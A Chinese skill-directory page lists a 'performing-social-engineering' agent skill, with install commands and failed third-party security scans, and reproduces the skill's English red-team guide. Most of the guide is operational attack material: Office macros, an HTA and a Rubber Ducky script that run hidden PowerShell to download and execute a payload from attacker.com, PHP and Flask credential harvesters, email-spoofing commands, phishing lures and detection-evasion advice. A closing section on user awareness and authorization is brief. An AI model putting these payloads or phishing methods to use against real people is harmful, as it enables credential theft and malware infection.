Token导航 LogoToken导航

Agent Skill · 研究检索

performing-social-engineering(进行社会工程)

performing-social-engineering 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

performing-social-engineering 是研究检索类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为操作浏览器;许可证信息还不明确,第三方扫描有未通过项,按安装量在研究检索类的 73,675 个 Skill 里排第 63,891。

总安装 309周安装 13GitHub Stars 33下载 108核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:performing-social-engineering(进行社会工程)
来源仓库:https://github.com/trilwu/secskills
仓库路径:skills/performing-social-engineering
安装命令:
npx skills add https://github.com/trilwu/secskills --skill performing-social-engineering
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/trilwu/secskills --skill performing-social-engineering

这个 Skill 是做什么的

研究检索类 Skill 主要解决「找资料、核对事实、把来源整理清楚」的问题,通常会让助手先检索再总结。

用于查找、检索和筛选相关信息。适合在 Codex、Claude、Cursor、Gemini CLI 中根据关键词或任务场景快速定位候选结果。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

当前暂无详细功能说明,需进一步查阅原始 SKILL.md 获取操作细节。

来源仓库内路径:skills/performing-social-engineering

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/trilwu/secskills --skill performing-social-eng…;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要操作浏览器,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

performing-social-engineering 怎么安装?

在终端执行 npx skills add https://github.com/trilwu/secskills --skill performing-social-engineering。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

performing-social-engineering 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

performing-social-engineering 需要什么权限?

权限级别是操作浏览器。该 Skill 可能涉及浏览器控制能力,使用时可能读取或操作网页内容,需要在受控环境中确认权限边界。

performing-social-engineering 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

performing-social-engineering 用的人多吗?

公开数据是累计安装 309 次,近一周安装 13 次,下载 108 次,GitHub 33 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

performing-social-engineering 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。

先想清楚的地方

  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理研究检索类任务、又不想每次都手写提示词的人。

不太适合

  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

研究检索类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
find-skills

寻找技能 · Codex、Claude

31,199,81316,486操作浏览器MIT有提醒
self-improving-agent

自我改进 Agent · OpenClaw

16,464,0023,396接触敏感数据MIT-0通过
soultrace

灵魂追踪 · Codex、Claude

7,588,94412需要联网未明确有提醒
self-improving

自我完善 · OpenClaw

6,829,2841,046需要联网MIT-0通过
microsoft-foundry

微软代工厂 · Codex、Claude

6,614,144764调用外部服务未明确有提醒
performing-social-engineering

进行社会工程 · 本页

30933操作浏览器未明确未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

Performing Social Engineering

When to Use

  • Phishing campaign execution
  • Credential harvesting operations
  • Social engineering assessments
  • Red team engagements
  • Security awareness testing

Phishing Infrastructure

Gophish (Phishing Framework)

# Install
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
chmod +x gophish
./gophish

# Access web interface
https://localhost:3333
# Default: admin:gophish

Gophish Campaign Setup:

  1. Email Templates - Create convincing phishing emails
  2. Landing Pages - Clone legitimate sites for credential harvesting
  3. Sending Profiles - Configure SMTP server
  4. Groups - Import target user lists
  5. Campaign - Combine all elements and launch

SET (Social Engineering Toolkit)

# Launch SET
setoolkit

# Common modules:
# 1) Social-Engineering Attacks
#    1) Spear-Phishing Attack Vectors
#    2) Website Attack Vectors
#    3) Credential Harvester Attack Method

Credential Harvester:

# SET Menu:
# 1 -> 2 -> 3 (Credential Harvester)
# Choose site template or custom URL
# Enter attacker IP
# Hosts fake login page
# Captures credentials when submitted

Email Phishing

Email Spoofing

# sendEmail (simple SMTP client)
sendEmail -f ceo@company.com \
  -t target@company.com \
  -u "Urgent: Password Reset Required" \
  -m "Click here to reset: http://evil.com/reset" \
  -s smtp.server.com:25

# swaks (SMTP testing tool)
swaks --to target@company.com \
  --from ceo@company.com \
  --header "Subject: Important Update" \
  --body "Please review: http://evil.com" \
  --server smtp.company.com

Attachment-Based Phishing

Malicious Office Macros:

' Excel/Word VBA macro
Sub AutoOpen()
    Shell "powershell -nop -w hidden -c ""IEX((new-object net.webclient).downloadstring('http://attacker.com/payload.ps1'))"""
End Sub

Malicious PDF:

# Create PDF with embedded JavaScript
# Use tools like:
# - metasploit (exploit/windows/fileformat/adobe_pdf_embedded_exe)
# - PDFtk
# - malicious JavaScript injection

Malicious HTA:

<!-- malicious.hta -->
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
window.close()
</script>
</head>
</html>

Clone Legitimate Sites

# HTTrack website copier
httrack http://legitimate-site.com -O ./cloned_site/

# wget mirror
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://legitimate-site.com

# Manual with curl
curl -o index.html http://legitimate-site.com/login

# Modify form action to send credentials to attacker
<form action="http://attacker.com/harvest.php" method="POST">

Credential Harvesting Server

Simple PHP Harvester:

<?php
// harvest.php
$file = 'credentials.txt';
$username = $_POST['username'];
$password = $_POST['password'];
$data = "User: $username | Pass: $password | IP: " . $_SERVER['REMOTE_ADDR'] . " | " . date('Y-m-d H:i:s') . "\n";
file_put_contents($file, $data, FILE_APPEND);

// Redirect to real site
header('Location: https://real-site.com');
?>

Python Flask Harvester:

from flask import Flask, request, redirect
app = Flask(__name__)

@app.route('/login', methods=['POST'])
def harvest():
    with open('creds.txt', 'a') as f:
        f.write(f"User: {request.form['username']}, Pass: {request.form['password']}\n")
    return redirect('https://real-site.com')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Voice Phishing (Vishing)

SpoofCard/Caller ID Spoofing

  • Services to spoof caller ID
  • Impersonate IT support, executives, vendors
  • Social engineering over phone

Common Pretexts:

  • IT support needing to verify credentials
  • HR department verifying personal information
  • Finance department confirming wire transfer
  • Vendor requiring payment information update

SMS Phishing (Smishing)

# Send SMS with link
# Use services or tools like:
# - Twilio API
# - SMS gateways
# - SIM card with AT commands

# Example pretext:
"Your package delivery failed. Track here: http://evil.com/track"
"Your account has been locked. Reset here: http://evil.com/unlock"
"You've won a prize! Claim here: http://evil.com/claim"

USB Drop Attacks

Rubber Ducky / Bad USB

Ducky Script Example:

REM Open PowerShell and download payload
DELAY 2000
GUI r
DELAY 500
STRING powershell -w hidden
ENTER
DELAY 1000
STRING IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
ENTER

Bash Bunny:

# Payloads at /payloads/switch1/
# Example: exfiltrate files, run payload, etc.

Physical USB Drops

Pretexts:

  • "Company Financial Data 2024"
  • "Salary Information - Confidential"
  • "Employee Bonuses Q4"
  • "IT Security Update - Required"

Payload Ideas:

  • Reverse shell
  • Credential stealer
  • Keylogger
  • Data exfiltration
  • Persistence mechanisms

QR Code Phishing

# Generate QR code pointing to phishing site
qrencode -o evil_qr.png "http://evil.com/harvest"

# Print and place in physical locations:
# - "Scan for Free WiFi"
# - "Employee Portal Access"
# - "Building Directory"

Watering Hole Attacks

  1. Identify target organization's commonly visited sites
  2. Compromise the website (or create lookalike)
  3. Inject malicious code (exploit or profiling)
  4. Wait for targets to visit and get compromised

Browser-Based Attacks

BeEF (Browser Exploitation Framework)

# Start BeEF
./beef

# Hook browsers with:
<script src="http://attacker-ip:3000/hook.js"></script>

# Access UI
http://127.0.0.1:3000/ui/panel
# Default: beef:beef

# Commands:
# - Social Engineering (fake notifications)
# - Browser exploitation
# - Network discovery
# - Credential harvesting

Fake Update Pages

<!-- fake-update.html -->
<html>
<head><title>Critical Browser Update Required</title></head>
<body>
<h1>Your browser is out of date!</h1>
<p>Click here to download the latest security update.</p>
<a href="http://attacker.com/malware.exe">Download Update</a>
</body>
</html>

Pretexting Scenarios

IT Support:

  • "Hi, this is John from IT. We're doing routine password resets..."
  • "We've detected suspicious activity on your account..."
  • "Your VPN certificate is expiring, we need to update it..."

Executive Impersonation:

  • "This is [CEO name], I'm in a meeting and need you to..."
  • "Urgent: Wire transfer needed before end of day..."
  • "I'm traveling and can't access my account, can you help me..."

Vendor/Partner:

  • "This is accounting from [vendor]. We need to update payment information..."
  • "Your invoice is past due, please update billing details..."

Delivery/Shipping:

  • "Package delivery failed, verify address..."
  • "Customs clearance required, pay fee at..."

LinkedIn/Social Media Reconnaissance

# Gather employee information
# - Job titles
# - Organizational structure
# - Technologies used
# - Recent activities/projects

# Tools:
# - theHarvester
# - linkedin2username
# - hunter.io (email patterns)

# Use for:
# - Targeted phishing
# - Pretexting scenarios
# - Impersonation attacks

Payload Delivery Methods

Links:

  • Shortened URLs (bit.ly, tinyurl)
  • Typosquatting domains
  • Homograph attacks (IDN homograph)
  • URL obfuscation

Attachments:

  • Office documents with macros (.docm,.xlsm)
  • PDFs with exploits/JavaScript
  • Compressed files (.zip,.rar)
  • ISO/IMG files
  • LNK files (shortcut tricks)

Advanced:

  • HTML smuggling
  • Polyglot files
  • Password-protected archives (bypass AV)
  • Signed malware (stolen/fake certificates)

Tracking and Reporting

Email Tracking:

<!-- Invisible tracking pixel -->
<img src="http://attacker.com/track?id=USER123" width="1" height="1" style="display:none">

Link Tracking:

# Unique URL per target
http://attacker.com/click?id=USER123

# Log access in server

Metrics to Track:

  • Emails sent
  • Emails opened (tracking pixel)
  • Links clicked
  • Credentials submitted
  • Attachments opened
  • Time to first click/submission

OpSec Considerations

Infrastructure:

  • Use disposable domains
  • HTTPS for credential harvesting
  • Legitimate SSL certificates (Let's Encrypt)
  • Categorize domains (submit to categorization services)
  • CDN for hosting (CloudFlare)

Email:

  • SPF/DKIM/DMARC alignment
  • Warm up email reputation
  • Similar but different domains (company.com vs company-portal.com)
  • Avoid spam trigger words

Detection Avoidance:

  • Realistic sender names and addresses
  • Professional email content
  • Avoid known malicious indicators
  • Time-based delivery (business hours)
  • Geofencing (target geography only)

Tools Summary

  • Gophish - Phishing campaign management
  • SET - Social Engineering Toolkit
  • BeEF - Browser exploitation
  • King Phisher - Phishing campaign toolkit
  • Evilginx2 - MITM phishing proxy (bypass 2FA)
  • Modlishka - Reverse proxy phishing
  • CredSniper - 2FA token capture
  • ShellPhish - Automated phishing

Defensive Awareness

Teach users to recognize:

  • Urgency/pressure tactics
  • Requests for credentials
  • Unusual senders
  • Suspicious links/attachments
  • Too-good-to-be-true offers
  • Requests to bypass security

Legal and Ethical Considerations

  • Always have written authorization
  • Define scope clearly
  • Protect harvested data
  • Follow ROE (Rules of Engagement)
  • Report findings responsibly
  • Delete data after engagement

References

平台分布

Codex

37.32%
按下载量换算40

Claude

25.92%
按下载量换算28

Cursor

18.61%
按下载量换算20

Gemini CLI

9.08%
按下载量换算10

安全审计

Gen Agent Trust Hub

未通过

Socket

未通过

Snyk

未通过

权限和风险

操作浏览器

该 Skill 可能涉及浏览器控制能力,使用时可能读取或操作网页内容,需要在受控环境中确认权限边界。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

继续浏览同类 Skills